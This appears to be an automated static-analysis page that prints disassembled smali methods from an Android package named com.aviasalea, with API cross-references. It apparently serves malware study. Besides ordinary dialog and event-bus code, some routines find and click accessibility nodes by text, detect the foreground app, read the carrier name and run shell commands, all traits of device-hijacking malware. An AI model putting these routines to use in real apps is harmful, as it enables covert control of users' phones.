                                      15invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
                                      16move-result v2
                                      17if-nez v2, :cond_9
                                      19invoke-interface {v0}, Ljava/util/List;->size()I
                                      20move-result v1
                                      21add-int/lit8 v1, v1, -0x1
                                      23invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      24move-result-object v1
                                      25check-cast v1, Landroid/view/accessibility/AccessibilityNodeInfo;
                                      27invoke-static {v1}, Lcom/aviasalea/checktls/NdTls;->getClickableNode(Landroid/view/accessibility/AccessibilityNodeInfo;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      28move-result-object v1
                                      29goto/16 :goto_9
                                      Cross References
                                      APIs
                                      • java.lang.reflect.Method.invoke
                                      • java.lang.reflect.InvocationTargetException.getCause
                                      • java.lang.IllegalStateException.<init>
                                      Strings
                                      • Unexpected exception
                                      Position Instruction Meta Information
                                      0.param p1, "subscription" # Lde/greenrobot/event/Subscription;
                                      1.param p2, "event" # Ljava/lang/Object;
                                      2.prologue
                                      3try_start_0:
                                      4iget-object v1, p1, Lde/greenrobot/event/Subscription;->subscriberMethod:Lde/greenrobot/event/SubscriberMethod;
                                      6iget-object v1, v1, Lde/greenrobot/event/SubscriberMethod;->method:Ljava/lang/reflect/Method;
                                      8iget-object v2, p1, Lde/greenrobot/event/Subscription;->subscriber:Ljava/lang/Object;
                                      9const/4 v3, 0x1
                                      10new-array v3, v3, [Ljava/lang/Object;
                                      11const/4 v4, 0x0
                                      12aput-object p2, v3, v4
                                      14invoke-virtual {v1, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                      15goto_f: return-void
                                      16catch_10: move-exception v0
                                      18invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                                      19move-result-object v1
                                      21invoke-direct {p0, p1, p2, v1}, Lde/greenrobot/event/EventBus;->handleSubscriberException(Lde/greenrobot/event/Subscription;Ljava/lang/Object;Ljava/lang/Throwable;)V
                                      22goto/16 :goto_f
                                      23catch_19: move-exception v0
                                      24new-instance v1, Ljava/lang/IllegalStateException;
                                      26const-string v2, "Unexpected exception"
                                      28invoke-direct {v1, v2, v0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                      29throw v1
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                                      • java.util.List.isEmpty
                                      • java.util.List.get
                                      • android.view.accessibility.AccessibilityNodeInfo.isVisibleToUser
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "text" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v2, 0x0
                                      5invoke-virtual {p0, p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_1b
                                      9invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
                                      10move-result v1
                                      11if-nez v1, :cond_1b
                                      13invoke-interface {v0, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      14move-result-object v1
                                      15check-cast v1, Landroid/view/accessibility/AccessibilityNodeInfo;
                                      17invoke-virtual {v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->isVisibleToUser()Z
                                      18move-result v1
                                      19if-eqz v1, :cond_1b
                                      20const/4 v1, 0x1
                                      21goto_1a: return v1
                                      22cond_1b: move v1, v2
                                      23goto/16 :goto_1a
                                      Cross References
                                      APIs
                                      • android.content.Context.getSystemService
                                      • android.telephony.TelephonyManager.getNetworkOperatorName
                                      Strings
                                      • phone
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      3const-string v1, "phone"
                                      5invoke-virtual {p0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      6move-result-object v0
                                      7check-cast v0, Landroid/telephony/TelephonyManager;
                                      8if-eqz v0, :cond_f
                                      10invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
                                      11move-result-object v1
                                      12goto_e: return-object v1
                                      13cond_f:
                                      14const-string v1, ""
                                      15goto/16 :goto_e
                                      Cross References
                                      APIs
                                      • android.app.ActivityManager.getRunningTasks
                                      • java.util.List.get
                                      • android.app.ActivityManager$RunningTaskInfo.topActivity:Landroid/content/ComponentName
                                      • android.content.ComponentName.getPackageName
                                      Position Instruction Meta Information
                                      0.param p0, "am" # Landroid/app/ActivityManager;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7const/4 v2, 0x1
                                      9invoke-virtual {p0, v2}, Landroid/app/ActivityManager;->getRunningTasks(I)Ljava/util/List;
                                      10move-result-object v1
                                      11const/4 v2, 0x0
                                      13invoke-interface {v1, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      14move-result-object v2
                                      15check-cast v2, Landroid/app/ActivityManager$RunningTaskInfo;
                                      17iget-object v0, v2, Landroid/app/ActivityManager$RunningTaskInfo;->topActivity:Landroid/content/ComponentName;
                                      19invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                                      20move-result-object v2
                                      21return-object v2
                                      Cross References
                                      APIs
                                      • android.app.ActivityManager.getRunningAppProcesses
                                      • java.util.List.get
                                      • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                                      Position Instruction Meta Information
                                      0.param p0, "am" # Landroid/app/ActivityManager;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      8invoke-virtual {p0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                                      9move-result-object v0
                                      10const/4 v1, 0x0
                                      12invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      13move-result-object v0
                                      14check-cast v0, Landroid/app/ActivityManager$RunningAppProcessInfo;
                                      16iget-object v0, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                                      17return-object v0
                                      Cross References
                                      APIs
                                      • java.lang.Runtime.getRuntime
                                      • java.lang.Runtime.exec
                                      Position Instruction Meta Information
                                      0.param p0, "command" # Ljava/lang/String;
                                      1.prologue
                                      2try_start_0:
                                      3invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                      4move-result-object v2
                                      6invoke-virtual {v2, p0}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                                      7try_end_7: const/4 v1, 0x1
                                      8goto_8: return v1
                                      9catch_9: move-exception v0
                                      10const/4 v1, 0x0
                                      11goto/16 :goto_8
                                      APIs
                                      • android.app.Dialog.onCreate
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog$1.<init>
                                      • android.widget.LinearLayout.setOrientation
                                      • com.aviasalea.base.dialog.AlertDialog.shadowDrawable:Landroid/graphics/drawable/Drawable
                                      • android.widget.LinearLayout.setBackgroundDrawable
                                      • android.widget.LinearLayout.setFitsSystemWindows
                                      • com.aviasalea.base.dialog.AlertDialog.setContentView
                                      • com.aviasalea.base.dialog.AlertDialog.positiveButtonText:Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.negativeButtonText:Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.neutralButtonText:Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.ImageView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.topImageView:Landroid/widget/ImageView
                                      • android.widget.ImageView.setImageResource
                                      • com.aviasalea.base.dialog.AlertDialog.topImageView:Landroid/widget/ImageView
                                      • android.widget.ImageView$ScaleType.CENTER:Landroid/widget/ImageView$ScaleType
                                      • android.widget.ImageView.setScaleType
                                      • com.aviasalea.base.dialog.AlertDialog.topImageView:Landroid/widget/ImageView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getDrawable
                                      • android.widget.ImageView.setBackgroundDrawable
                                      • com.aviasalea.base.dialog.AlertDialog.topImageView:Landroid/widget/ImageView
                                      • android.widget.ImageView.getBackground
                                      • android.graphics.PorterDuff$Mode.MULTIPLY:Landroid/graphics/PorterDuff$Mode
                                      • android.graphics.PorterDuffColorFilter.<init>
                                      • android.graphics.drawable.Drawable.setColorFilter
                                      • com.aviasalea.base.dialog.AlertDialog.topImageView:Landroid/widget/ImageView
                                      • android.widget.ImageView.setPadding
                                      • com.aviasalea.base.dialog.AlertDialog.topImageView:Landroid/widget/ImageView
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.title:Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.titleTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.title:Ljava/lang/CharSequence
                                      • android.widget.TextView.setText
                                      • com.aviasalea.base.dialog.AlertDialog.titleTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.setTextColor
                                      • com.aviasalea.base.dialog.AlertDialog.titleTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setTextSize
                                      • com.aviasalea.base.dialog.AlertDialog.titleTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setGravity
                                      • com.aviasalea.base.dialog.AlertDialog.titleTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.subtitle:Ljava/lang/CharSequence
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.subtitle:Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.subtitleTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.subtitle:Ljava/lang/CharSequence
                                      • android.widget.TextView.setText
                                      • com.aviasalea.base.dialog.AlertDialog.subtitleTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.setTextColor
                                      • com.aviasalea.base.dialog.AlertDialog.subtitleTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setTextSize
                                      • com.aviasalea.base.dialog.AlertDialog.subtitleTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setGravity
                                      • com.aviasalea.base.dialog.AlertDialog.subtitleTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.items:[Ljava/lang/CharSequence
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.shadow:[Landroid/graphics/drawable/BitmapDrawable
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getDrawable
                                      • android.graphics.drawable.Drawable.mutate
                                      • com.aviasalea.base.dialog.AlertDialog.shadow:[Landroid/graphics/drawable/BitmapDrawable
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getDrawable
                                      • android.graphics.drawable.Drawable.mutate
                                      • com.aviasalea.base.dialog.AlertDialog.shadow:[Landroid/graphics/drawable/BitmapDrawable
                                      • android.graphics.drawable.BitmapDrawable.setAlpha
                                      • com.aviasalea.base.dialog.AlertDialog.shadow:[Landroid/graphics/drawable/BitmapDrawable
                                      • android.graphics.drawable.BitmapDrawable.setAlpha
                                      • com.aviasalea.base.dialog.AlertDialog.shadow:[Landroid/graphics/drawable/BitmapDrawable
                                      • android.graphics.drawable.BitmapDrawable.setCallback
                                      • com.aviasalea.base.dialog.AlertDialog.shadow:[Landroid/graphics/drawable/BitmapDrawable
                                      • android.graphics.drawable.BitmapDrawable.setCallback
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog$2.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.contentScrollView:Landroid/widget/ScrollView
                                      • android.widget.ScrollView.setVerticalScrollBarEnabled
                                      • com.aviasalea.base.dialog.AlertDialog.contentScrollView:Landroid/widget/ScrollView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog.contentScrollView:Landroid/widget/ScrollView
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.LinearLayout.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.scrollContainer:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOrientation
                                      • com.aviasalea.base.dialog.AlertDialog.contentScrollView:Landroid/widget/ScrollView
                                      • com.aviasalea.base.dialog.AlertDialog.scrollContainer:Landroid/widget/LinearLayout
                                      • android.widget.FrameLayout$LayoutParams.<init>
                                      • android.widget.ScrollView.addView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.setTextColor
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setTextSize
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setGravity
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.FrameLayout.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.progressViewContainer:Landroid/widget/FrameLayout
                                      • com.aviasalea.base.dialog.AlertDialog.title:Ljava/lang/CharSequence
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.RadialProgressView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.RadialProgressView.setProgressColor
                                      • com.aviasalea.base.dialog.AlertDialog.progressViewContainer:Landroid/widget/FrameLayout
                                      • android.widget.FrameLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setLines
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setSingleLine
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.text.TextUtils$TruncateAt.END:Landroid/text/TextUtils$TruncateAt
                                      • android.widget.TextView.setEllipsize
                                      • com.aviasalea.base.dialog.AlertDialog.progressViewContainer:Landroid/widget/FrameLayout
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.FrameLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.message:Ljava/lang/CharSequence
                                      • android.text.TextUtils.isEmpty
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.message:Ljava/lang/CharSequence
                                      • android.widget.TextView.setText
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setVisibility
                                      • com.aviasalea.base.dialog.AlertDialog.items:[Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.items:[Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.items:[Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.items:[Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.title:Ljava/lang/CharSequence
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.LineProgressView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView
                                      • com.aviasalea.base.dialog.LineProgressView.setProgress
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.LineProgressView.setProgressColor
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.LineProgressView.setBackColor
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressViewPercent:Landroid/widget/TextView
                                      • android.widget.TextView.setGravity
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressViewPercent:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.setTextColor
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressViewPercent:Landroid/widget/TextView
                                      • android.widget.TextView.setTextSize
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressViewPercent:Landroid/widget/TextView
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.updateLineProgressTextView
                                      • com.aviasalea.base.dialog.AlertDialog.scrollContainer:Landroid/widget/LinearLayout
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog.customView:Landroid/view/View
                                      • com.aviasalea.base.dialog.AlertDialog.items:[Ljava/lang/CharSequence
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.messageTextView:Landroid/widget/TextView
                                      • android.widget.TextView.setVisibility
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.items:[Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.itemIcons:[I
                                      • com.aviasalea.base.dialog.AlertDialog.itemIcons:[I
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.setTextAndIcon
                                      • com.aviasalea.base.dialog.AlertDialog.scrollContainer:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.addView
                                      • java.lang.Integer.valueOf
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.setTag
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.setOnClickListener
                                      • com.aviasalea.base.dialog.AlertDialog.customView:Landroid/view/View
                                      • com.aviasalea.base.dialog.AlertDialog.customView:Landroid/view/View
                                      • android.view.View.getParent
                                      • com.aviasalea.base.dialog.AlertDialog.customView:Landroid/view/View
                                      • android.view.View.getParent
                                      • com.aviasalea.base.dialog.AlertDialog.customView:Landroid/view/View
                                      • android.view.ViewGroup.removeView
                                      • com.aviasalea.base.dialog.AlertDialog.scrollContainer:Landroid/widget/LinearLayout
                                      • com.aviasalea.base.dialog.AlertDialog.customView:Landroid/view/View
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog$4.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.buttonsLayout:Landroid/widget/FrameLayout
                                      • android.widget.FrameLayout.setPadding
                                      • com.aviasalea.base.dialog.AlertDialog.buttonsLayout:Landroid/widget/FrameLayout
                                      • android.widget.LinearLayout.addView
                                      • com.aviasalea.base.dialog.AlertDialog.positiveButtonText:Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog$5.<init>
                                      • android.widget.TextView.setMinWidth
                                      • java.lang.Integer.valueOf
                                      • android.widget.TextView.setTag
                                      • android.widget.TextView.setTextSize
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.setTextColor
                                      • android.widget.TextView.setGravity
                                      • com.aviasalea.base.dialog.AlertDialog.positiveButtonText:Ljava/lang/CharSequence
                                      • java.lang.CharSequence.toString
                                      • java.lang.String.toUpperCase
                                      • android.widget.TextView.setText
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog.getRoundRectSelectorDrawable
                                      • android.widget.TextView.setBackgroundDrawable
                                      • android.widget.TextView.setPadding
                                      • com.aviasalea.base.dialog.AlertDialog.buttonsLayout:Landroid/widget/FrameLayout
                                      • android.widget.FrameLayout.addView
                                      • android.widget.TextView.setOnClickListener
                                      • com.aviasalea.base.dialog.AlertDialog.negativeButtonText:Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog$7.<init>
                                      • android.widget.TextView.setMinWidth
                                      • java.lang.Integer.valueOf
                                      • android.widget.TextView.setTag
                                      • android.widget.TextView.setTextSize
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.setTextColor
                                      • android.widget.TextView.setGravity
                                      • com.aviasalea.base.dialog.AlertDialog.negativeButtonText:Ljava/lang/CharSequence
                                      • java.lang.CharSequence.toString
                                      • java.lang.String.toUpperCase
                                      • android.widget.TextView.setText
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog.getRoundRectSelectorDrawable
                                      • android.widget.TextView.setBackgroundDrawable
                                      • android.widget.TextView.setPadding
                                      • com.aviasalea.base.dialog.AlertDialog.buttonsLayout:Landroid/widget/FrameLayout
                                      • android.widget.FrameLayout.addView
                                      • android.widget.TextView.setOnClickListener
                                      • com.aviasalea.base.dialog.AlertDialog.neutralButtonText:Ljava/lang/CharSequence
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog$9.<init>
                                      • android.widget.TextView.setMinWidth
                                      • java.lang.Integer.valueOf
                                      • android.widget.TextView.setTag
                                      • android.widget.TextView.setTextSize
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • android.widget.TextView.setTextColor
                                      • android.widget.TextView.setGravity
                                      • com.aviasalea.base.dialog.AlertDialog.neutralButtonText:Ljava/lang/CharSequence
                                      • java.lang.CharSequence.toString
                                      • java.lang.String.toUpperCase
                                      • android.widget.TextView.setText
                                      • com.aviasalea.base.dialog.AlertDialog.getContext
                                      • com.aviasalea.base.dialog.AlertDialog.getRoundRectSelectorDrawable
                                      • android.widget.TextView.setBackgroundDrawable
                                      • android.widget.TextView.setPadding
                                      • com.aviasalea.base.dialog.AlertDialog.buttonsLayout:Landroid/widget/FrameLayout
                                      • android.widget.FrameLayout.addView
                                      • android.widget.TextView.setOnClickListener
                                      • com.aviasalea.base.dialog.AlertDialog.getWindow
                                      • android.view.WindowManager$LayoutParams.<init>
                                      • android.view.Window.getAttributes
                                      • android.view.WindowManager$LayoutParams.copyFrom
                                      • java.lang.Math.min
                                      • com.aviasalea.base.dialog.AlertDialog.backgroundPaddings:Landroid/graphics/Rect
                                      • com.aviasalea.base.dialog.AlertDialog.backgroundPaddings:Landroid/graphics/Rect
                                      • com.aviasalea.base.dialog.AlertDialog.customView:Landroid/view/View
                                      • com.aviasalea.base.dialog.AlertDialog.customView:Landroid/view/View
                                      • com.aviasalea.base.dialog.AlertDialog.canTextInput
                                      • android.view.Window.setAttributes
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super/range {p0 .. p1}, Landroid/app/Dialog;->onCreate(Landroid/os/Bundle;)V
                                      4new-instance v12, Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      6invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      7move-result-object v2
                                      8move-object/from16 v0, p0
                                      10invoke-direct {v12, v0, v2}, Lcom/aviasalea/base/dialog/AlertDialog$1;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/Context;)V
                                      11const/4 v2, 0x1
                                      13invoke-virtual {v12, v2}, Landroid/widget/LinearLayout;->setOrientation(I)V
                                      14move-object/from16 v0, p0
                                      16iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowDrawable:Landroid/graphics/drawable/Drawable;
                                      18invoke-virtual {v12, v2}, Landroid/widget/LinearLayout;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
                                      19sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                      20const/16 v3, 0x15
                                      21if-lt v2, v3, :cond_34c
                                      22const/4 v2, 0x1
                                      23goto_20:
                                      24invoke-virtual {v12, v2}, Landroid/widget/LinearLayout;->setFitsSystemWindows(Z)V
                                      25move-object/from16 v0, p0
                                      27invoke-virtual {v0, v12}, Lcom/aviasalea/base/dialog/AlertDialog;->setContentView(Landroid/view/View;)V
                                      28move-object/from16 v0, p0
                                      30iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->positiveButtonText:Ljava/lang/CharSequence;
                                      31if-nez v2, :cond_3a
                                      32move-object/from16 v0, p0
                                      34iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->negativeButtonText:Ljava/lang/CharSequence;
                                      35if-nez v2, :cond_3a
                                      36move-object/from16 v0, p0
                                      38iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->neutralButtonText:Ljava/lang/CharSequence;
                                      39if-eqz v2, :cond_34f
                                      40cond_3a: const/4 v13, 0x1
                                      41goto_3b: move-object/from16 v0, p0
                                      42iget v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topResId:I
                                      43if-eqz v2, :cond_b1
                                      44new-instance v2, Landroid/widget/ImageView;
                                      46invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      47move-result-object v3
                                      49invoke-direct {v2, v3}, Landroid/widget/ImageView;-><init>(Landroid/content/Context;)V
                                      50move-object/from16 v0, p0
                                      51iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topImageView:Landroid/widget/ImageView;
                                      52move-object/from16 v0, p0
                                      54iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topImageView:Landroid/widget/ImageView;
                                      55move-object/from16 v0, p0
                                      56iget v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topResId:I
                                      58invoke-virtual {v2, v3}, Landroid/widget/ImageView;->setImageResource(I)V
                                      59move-object/from16 v0, p0
                                      61iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topImageView:Landroid/widget/ImageView;
                                      63sget-object v3, Landroid/widget/ImageView$ScaleType;->CENTER:Landroid/widget/ImageView$ScaleType;
                                      65invoke-virtual {v2, v3}, Landroid/widget/ImageView;->setScaleType(Landroid/widget/ImageView$ScaleType;)V
                                      66move-object/from16 v0, p0
                                      68iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topImageView:Landroid/widget/ImageView;
                                      70invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      71move-result-object v3
                                      73invoke-virtual {v3}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      74move-result-object v3
                                      75const v4, 0x7f090004
                                      77invoke-virtual {v3, v4}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
                                      78move-result-object v3
                                      80invoke-virtual {v2, v3}, Landroid/widget/ImageView;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
                                      81move-object/from16 v0, p0
                                      83iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topImageView:Landroid/widget/ImageView;
                                      85invoke-virtual {v2}, Landroid/widget/ImageView;->getBackground()Landroid/graphics/drawable/Drawable;
                                      86move-result-object v2
                                      87new-instance v3, Landroid/graphics/PorterDuffColorFilter;
                                      88move-object/from16 v0, p0
                                      89iget v4, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topBackgroundColor:I
                                      91sget-object v5, Landroid/graphics/PorterDuff$Mode;->MULTIPLY:Landroid/graphics/PorterDuff$Mode;
                                      93invoke-direct {v3, v4, v5}, Landroid/graphics/PorterDuffColorFilter;-><init>(ILandroid/graphics/PorterDuff$Mode;)V
                                      95invoke-virtual {v2, v3}, Landroid/graphics/drawable/Drawable;->setColorFilter(Landroid/graphics/ColorFilter;)V
                                      96move-object/from16 v0, p0
                                      98iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topImageView:Landroid/widget/ImageView;
                                      99const/4 v3, 0x0
                                      100const/4 v4, 0x0
                                      101const/4 v5, 0x0
                                      102const/4 v6, 0x0
                                      104invoke-virtual {v2, v3, v4, v5, v6}, Landroid/widget/ImageView;->setPadding(IIII)V
                                      105move-object/from16 v0, p0
                                      107iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->topImageView:Landroid/widget/ImageView;
                                      108move-object/from16 v23, v0
                                      109const/4 v2, -0x1
                                      110const/16 v3, 0x84
                                      111const/16 v4, 0x33
                                      112const/4 v5, -0x8
                                      113const/4 v6, -0x8
                                      114const/4 v7, 0x0
